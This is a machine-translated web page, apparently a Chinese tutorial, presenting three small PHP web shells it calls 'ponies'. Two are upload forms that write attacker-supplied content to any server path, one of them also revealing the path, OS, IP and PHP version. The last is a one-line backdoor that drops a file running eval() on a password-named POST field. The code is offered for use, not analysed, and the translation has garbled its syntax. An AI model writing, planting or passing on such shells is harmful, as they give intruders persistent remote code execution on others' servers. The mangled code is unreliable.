I also come to a super small PHP pony.
Copy codeThe Code is as follows:
<? Php
Header ("content-Type: text/html; charset = gb2312 ");
If (get_magic_quotes_gpc () foreach ($ _ POST as $ k => $ v) $ _ POST [$ k] = stripslashes ($ v );
?>
<Form method = "POST">
Save file name: <input type = "text" name = "file" size = "60" value = "<? Echo str_replace ('\', '/' ,__ FILE _)?> ">
<Br>
<Textarea name = "text" COLS = "70" ROWS = "18"> </textarea>
<Br>
<Input type = "submit" name = "submit" value = "save">
<Form>
<? Php
If (isset ($ _ POST ['file'])
{
$ Fp = @ fopen ($ _ POST ['file'], 'wb ');
Echo @ fwrite ($ fp, $ _ POST ['text'])? 'Saved successfully! ':' Saving failed! ';
@ Fclose ($ fp );
}
?>

I read the php tutorial last night and found that php is really powerful! By the way, I wrotePhp pony
Paste the code below ..
Copy codeThe Code is as follows:
<Html>
<Title> By: SinCoder </title>
<Font color = red size = 6> php pony By: SinCoder </br> </font>
<? Echo "</br> path of the program:". _ FILE __.
"</Br> server operating system:". PHP_ OS.
"</Br> server ip Address:". gethostbyname ($ _ SERVER ["SERVER_NAME"]).
"</Br> PHP version:". PHP_VERSION;
?>
<Form action = <? Echo strrchr (_ FILE __, "\");?> Method = "post">
Data to be submitted: </br>
<Textarea type = "text" name = "data" rows = "10" cols = "30">
</Textarea>
</Br>
Save path: <input type = "text" name = "dir"/>
</Br>
<Input type = "submit" value = "submit"/>
</Form>
</Html>
<?
If (! (Isset ($ _ POST ["data"]) & isset ($ _ POST ["dir"])
Exit ();
If (strlen ($ _ POST ["data"])> 0 & strlen ($ _ POST ["dir"])> 0)
{
$ P_File = fopen ($ _ POST ["dir"], "");
If (! $ P_File)
Echo "Write failed! Try another directory! ";
Else
Echo "OK !! ";
Fputs ($ p_File, $ _ POST ["data"]);
Fclose ($ p_File );
}
Else
Echo "complete the data! ";
?>

Php: A pony Backdoor
Copy codeThe Code is as follows:
<? Fputs (fopen (jb51.php, w), <? Eval ($ _ POST [jb51]);?>)?>

After this access, the jb51.php content is generated in the current directory as <? Eval ($ _ POST [jb51]);?>)?> The password is jb51.
